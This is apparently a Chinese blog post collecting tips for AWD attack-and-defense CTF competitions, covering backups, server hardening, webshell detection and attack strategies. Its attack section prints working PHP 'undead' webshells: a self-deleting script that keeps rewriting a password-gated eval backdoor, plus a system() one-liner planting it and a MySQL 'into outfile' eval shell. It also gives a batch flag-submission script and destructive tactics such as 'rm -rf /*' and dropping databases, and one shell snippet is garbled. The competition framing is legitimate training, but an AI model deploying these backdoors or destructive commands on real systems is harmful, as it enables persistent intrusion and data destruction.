AWD

AWD 思路与方法合集(持续更新)

web 方向

Posted by Elli0t on 2020-11-14

AWD 比赛准备

AWD plus 和 AWD 最主要的区别就是,前者无法连接 ssh,直接把网页源码给选手,然后会给一个代码上传入口,选手可以将修改好了的代码上传至服务器。故主要考验选手的代码审计能力

在2019年第十二届全国大学生信息安全竞赛创新实践能力赛全国总决赛上,永信至诚e春秋未来安全研究院和春秋Game团队推出了AWD的新版本AWD PLUS,和以往的AWD模式相比,AWD PLUS消耗系统资源更小,并消除了战队和战队之间的相互干扰,让比赛回归更纯粹和公平的网络安全技术较量。对于科研、教学场景,以及刚刚接触网络安全攻防竞赛的人群更友好。

AWD线下赛思路

做完图上的工作后你的大部分工作就已经完成了(基本完成了比赛也就差不多了),剩下的就是代码审计了,但是在那种高压环境下还能沉下气来审计代码的真的不多

前期工作

了解好网络拓扑图

准备好工具

prepare-for-awd

Linux使用手册:https://github.com/haloislet/linux-command/releases

  • 端口扫描、目录扫描
  • 代码自动分析(D盾、审Seay、cobra)
  • 流量分析脚本以及一些WAF(weblogger)
  • python 的一些离线模块安装包(以便安装在防御机器上)(待完善)curl
  • 各种免杀不死木马
  • 批量脚本(真正使用起来,特别是不死🐎,和杀不死🐎的命令)
  • 哈希爆破工具(爆破数据库中的密码)(待完善)
  • 各种离线文档
  • 漏洞库
  • CVE 提权 exp

or

  • 各種軟件包,如 Python、CURL 等等,以備機器上沒有而陷入尷尬
  • 一大堆 EXP 庫和漏洞庫,可以放個烏雲的虛擬機備用
  • 加固、基線檢查腳本
  • WAF 代碼和部署腳本
  • AWD 專用的批量拿 Webshell、批量交 flag、批量維持權限的基本代碼或小框架
  • 安全配置检测脚本

队伍策略

使用沟通软件 feem

队伍(同一个学校)统一标识(标识中显示此队伍名称(用化名),包含约定好的一句话木马),比赛开始迅速识别对方 ip ,构建网络拓扑

比赛最后5分钟,敢死队策略.有拿奖希望队伍攻击无拿奖希望队伍(使用先前约定好的一句话木马)

防御

修改ssh密码

首先就要备份数据库和网页源码(先在服务器上压缩,然后再回传本地。这样会避免出一些问题)

找不到网页源码了?

别慌,别忘了用命令找。或者结合/etc下 apache 或者 nginx 的配置文件找到源码位置(别的http服务,就去相关配置文件中去找)

ubuntu与centos

查看版本 uname -a

区别

备份与恢复

备份网页源码

1
2
3
4
5
apache	/var/www/html
nginx /usr/share/html
python
tomcat /var/lib/tomcatX/webapps
java

备份和恢复数据库等

首先寻找 mysql 密码

1
2
3
4
5
6
常用php连接mysql语句
$conn = @mysql_connect(DB_HOST,DB_USER,DB_PWD) or die(header('Location: /install'));
MySQLi方法
$conn = mysqli_connect($servername, $username, $password);
PDO方法
$conn = new PDO("mysql:host=$servername;", $username, $password);

备份和恢复(有可能没权限)

1
2
3
4
5
6
7
备份指定数据库
mysqldump –u root –p blog > mydatabase_out.sql
备份全部数据库
mysqldump -uroot -p --all-databases > sqlfile.sql

恢复数据库
mysql -u root -p test(数据库名) < test.sql (还原数据库)

数据库常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
修改mysql密码(重要)
mysql> set password for root@localhost = password('jxgaflagflag');
or
mysqladmin -u用户名 -p旧密码 password 新密码

增加
mysql> INSERT INTO runoob_tbl
-> (runoob_title, runoob_author, submission_date)
-> VALUES
-> ("JAVA 教程", "RUNOOB.COM", '2016-05-06');

删除
drop database sqlgunnews;
drop database sys;
drop database performance_schema;
drop database information_schema;
drop database blog;
drop database mysql;
show databases;
quit

DROP TABLE runoob_tbl;
DROP TABLE adword;


UPDATE tb_courses_new SET course_grade=4;


select * from runoob_tbl;

防御其他常用方法

  • 源代码分析,快速找到木马,并注释掉(D盾、seay、cobra)
  • 查看本机开放端口,关闭相关服务
  • 修改文件夹权限,文件夹监控(自动删除被上传木马)
  • 源码对比(查看有无攻击者修改)Beyond Compare (待完善)
  • 抓流量,进行批量反打(pwn的话用tcpdump)(无权限)
  • 杀死不死马(待完善)
1
2
3
4
while true
do
rm -f .Guoke.php
donen&cmd=system("ls");

快速查一下有没有木马(重要):

find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

安全配置(一般都是没有权限)

HTTP服务

apache2

https://blog.csdn.net/stay_zezo/article/details/80212552

https://www.cnblogs.com/ylan2009/archive/2012/02/25/2368028.html

nginx

https://zhuanlan.zhihu.com/p/83890573

tomcat

https://zhuanlan.zhihu.com/p/64358891

python

https://zhuanlan.zhihu.com/p/56046697

nodejs

https://blog.csdn.net/weixin_41506373/article/details/86572730

php.ini配置(注意不要和和源码里的代码冲突)

扫描给定的php.ini文件以获取常见的安全做法并报告结果 https://github.com/psecio/iniscan

PHP.ini-for-Chinese php配置文件的中文翻译 https://github.com/HeDefine/PHP.ini-for-Chinese

mysql配置

/etc/mysql/my.cnf

关闭写shell的权限

select '<?php eval(@$_POST["elli0t"]);?>' into outfile '/var/www/blog/index2.php'

MySQL server is running with the –secure-file-priv option

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
在[mysqld]下面,查看是否有:

secure_file_priv =

如上这样一行内容,如果有,则手动关闭。如果存在如下行:

secure_file_priv = /home

这样一行内容,表示限制为/home文件夹。而如下行:

secure_file_priv =

这样一行内容,表示不限制目录,等号一定要有,否则mysql无法启动。

修改完配置文件后,重启mysql生效。

重启后:

关闭:service mysqld stop

启动:service mysqld start

防御脚本

通用脚本 weblogger

https://gist.github.com/wupco/ee26f88656fbf36d014f49b4ac47ddc8

  1. 完整http报文请求抓取,同时进行对可能存在的攻击进行分类,通过文件存储模拟出数据库,适应各种场合。
  2. 根据hash判断流量是否重复,只记录次数和最新一次的请求包,减少存储空间的占用以及流量分析的成本。
  3. 4个waf等级,推荐使用1等级,不会影响应用的正常运行,还可以抵御绝大多数的常见攻击。
  4. 设置flag获取命令,通过分析页面返回判断是否被读取了flag,从而替换掉flag(有些场合可能无法使用),将此流量标记为危险流量,同时攻击者ip加入黑名单,永 久ban掉(可从黑名单去除)。
  5. 黑白名单模式,可以手动添加,选择白名单模式,则服务正常通过给白名单机器,其他机器全部拦截。
  6. 可根据ip、时间筛选出想要查看的对应日志。
  7. 通过分析是否为危险流量,统计相同流量出现次数,显示出最可能是最终payload的流量排行。
  8. 一键生成ctf线下赛exp(获取flag+自动提交flag),快人一步进行攻击(除了正常攻击流量外,exp中还包含大量垃圾混淆流量)
  9. 删除并压缩备份选中的流量。

文件监控

https://github.com/TheKingOfDuck/FileMonitor

攻击

批量脚本

网络扫描masscan

1
2
3
4
5
扫描
sudo ./masscan --range 192.168.1.1-192.168.1.254 -Pn -p5000 -oX scan.xml
将scan.xml转为ip.txt
python3 xml_to_txt.py
xml_to_txt.py 在Ubuntu_AWD中

快速制作脚本

burp抓取payload后批量攻击:

burp-requests 插件

1
2
3
4
5
6
7
8
import requests

burp0_url = "http://10.99.99.250:80/event_attack_defense/submit_flag/"
burp0_cookies = {"oj_csrftoken": "HJ0A91IfI5gDSOhONMw9a7nbGRf7MzHwNMy5WbWRKqP1KYqf4Hnk6t4IUFVsapEB", "oj_sessionid": "7wlt9o8mjgjrznw69uqb8xn2up09j2fh"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-CSRFToken": "HJ0A91IfI5gDSOhONMw9a7nbGRf7MzHwNMy5WbWRKqP1KYqf4Hnk6t4IUFVsapEB", "X-Requested-With": "XMLHttpRequest", "Origin": "http://10.99.99.250", "Connection": "close", "Referer": "http://10.99.99.250/event_attack_defense/15/contest_home/"}
burp0_data = {"flag": "DUFYAzy623d7NWBfXutF68vZy5swmnFyuKuWmAZ7r4MB64mYezAj4vUCeSGB", "token": "f2fb6e769b89046c941140549d1b0c6c", "event_hash": "dd144143-dd75-4dd1-98d7-3625ed844f97.event"}
test = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print(test.text)

常用攻击思路

用冰蝎连接木马,不要用菜刀。冰蝎的流量是aes加密的

通过默认后门批量种不死马或者利用题目自带的一句话木马,批量 get flag 并提交

system('while true;do echo \'<?php if(md5($_GET[passwd])=="139bdb983ee92a3624f2cc978f0cb3b7"){@eval($_REQUEST[cmd]);} ?>\' >.config.php;sleep 0.1;done;');

通过上传漏洞批量种不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["passwd"])=="139bdb983ee92a3624f2cc978f0cb3b7"){@eval($_REQUEST[cmd]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>

//.config.php?passwd=FPXtian&cmd=system("ls");

使用 find / -name *flag*grep -rn 」flag」 * 類似的語句可以快速發現 flag 所在的地方,方便後續拿分。

分析数据库备份文件 sql,发现后台 admin 用户的密码 md5,然后爆破出真正的密码,然后登陆对手的admin管理页面进行漏洞挖掘

CVE库(待完善)

wordpress wpscan

反弹shell

攻击 https://www.freebuf.com/articles/web/247967.html

防御 https://www.freebuf.com/articles/system/187584.html

你死我活策略(dog)

mysql注入 benchmark

rm -rf /*

流量转发,将所有流量(除了主办方的check)转发到另外一个队伍的ip上,然后同时保存所有流量(可复现攻击过程,攻击其他选手)。

Link

https://kknews.cc/zh-hk/news/qx428xg.html

https://www.cnblogs.com/kunspace/p/11167310.html

https://www.796t.com/article.php?id=111079

https://zhuanlan.zhihu.com/p/48987615

https://www.jianshu.com/p/d21b7e1bffaf

https://www.cnblogs.com/Vinson404/archive/2004/01/13/13779839.html

http://www.admintony.com/AWD%E8%A5%BF%E7%9F%B3%E6%B2%B9%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93.html